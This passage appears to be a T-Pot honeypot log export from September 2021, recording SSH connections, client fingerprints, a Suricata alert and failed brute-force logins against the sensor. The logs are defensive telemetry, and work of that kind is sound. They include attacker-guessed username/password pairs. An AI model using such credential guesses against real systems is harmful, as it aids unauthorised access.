22845	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:28.739395+03	2021-09-20 14:15:06.733472+03	{"_id": "kQbjAnwBvYTbRNuEswsY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 42966, "dest_port": 22, "timestamp": "2021-09-20T11:07:28.739395", "@timestamp": "2021-09-20T11:07:28.739Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
22846	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:28.8124+03	2021-09-20 14:15:06.73447+03	{"_id": "kgbjAnwBvYTbRNuEswsY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 40616, "timestamp": "2021-09-20T11:07:28.812400", "@timestamp": "2021-09-20T11:07:28.812Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22847	123.126.106.88	109.199.241.180	Suricata	2021-09-20 14:07:29.664411+03	2021-09-20 14:15:06.735471+03	{"_id": "mgbjAnwBvYTbRNuEtQuE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "123.126.106.88", "dest_ip": "192.168.20.116", "flow_id": 1127042023208121, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48278, "dest_port": 22, "timestamp": "2021-09-20T11:07:29.664411Z", "@timestamp": "2021-09-20T11:07:29.664Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
22848	123.126.106.88	109.199.241.180	Suricata	2021-09-20 14:07:29.664647+03	2021-09-20 14:15:06.7365+03	{"_id": "nQbjAnwBvYTbRNuEtQuE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:07:28.898233+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "123.126.106.88", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1127042023208121, "payload": "AAADzAYUosu/4nrpjOSo6f1Wr6l7ewAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48278, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:07:29.664647Z", "@timestamp": "2021-09-20T11:07:29.664Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..........z......V..{{...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
22986	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:24.050623+03	2021-09-20 14:15:06.924508+03	{"_id": "kgbjAnwBvYTbRNuEnwp_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [guest/testuser] failed", "session": "0d1694153109", "@version": "1", "password": "testuser", "username": "guest", "timestamp": "2021-09-20T11:07:24.050623Z", "@timestamp": "2021-09-20T11:07:24.050Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22849	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:30.211584+03	2021-09-20 14:15:06.7375+03	{"_id": "qQbjAnwBvYTbRNuEtgv7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:47538 (192.168.176.2:22) [session: 8c469a0dbd06]", "session": "8c469a0dbd06", "@version": "1", "protocol": "ssh", "src_port": 47538, "dest_port": 22, "timestamp": "2021-09-20T11:07:30.211584Z", "@timestamp": "2021-09-20T11:07:30.211Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22850	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:07:29.279689+03	2021-09-20 14:15:06.7395+03	{"_id": "tAbjAnwBvYTbRNuEtgv7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 123.126.106.88:48278 (192.168.176.2:22) [session: f9b0afbe959a]", "session": "f9b0afbe959a", "@version": "1", "protocol": "ssh", "src_port": 48278, "dest_port": 22, "timestamp": "2021-09-20T11:07:29.279689Z", "@timestamp": "2021-09-20T11:07:29.279Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
22851	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:07:29.282548+03	2021-09-20 14:15:06.740501+03	{"_id": "uAbjAnwBvYTbRNuEtgv7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "f9b0afbe959a", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:07:29.282548Z", "@timestamp": "2021-09-20T11:07:29.282Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
22852	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:07:29.665204+03	2021-09-20 14:15:06.7415+03	{"_id": "uQbjAnwBvYTbRNuEtgv7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "f9b0afbe959a", "@version": "1", "timestamp": "2021-09-20T11:07:29.665204Z", "@timestamp": "2021-09-20T11:07:29.665Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
22853	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:30.121047+03	2021-09-20 14:15:06.74347+03	{"_id": "swbjAnwBvYTbRNuEtgv7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [ethos/live] failed", "session": "de74adf82d07", "@version": "1", "password": "live", "username": "ethos", "timestamp": "2021-09-20T11:07:30.121047Z", "@timestamp": "2021-09-20T11:07:30.121Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22860	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:30.678528+03	2021-09-20 14:15:06.75247+03	{"_id": "zgbjAnwBvYTbRNuEugvi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:51708 (192.168.176.2:22) [session: 5207dab7797c]", "session": "5207dab7797c", "@version": "1", "protocol": "ssh", "src_port": 51708, "dest_port": 22, "timestamp": "2021-09-20T11:07:30.678528Z", "@timestamp": "2021-09-20T11:07:30.678Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
22854	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:29.832782+03	2021-09-20 14:15:06.74447+03	{"_id": "ugbjAnwBvYTbRNuEtgv7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "0aef40958475", "@version": "1", "timestamp": "2021-09-20T11:07:29.832782Z", "@timestamp": "2021-09-20T11:07:29.832Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-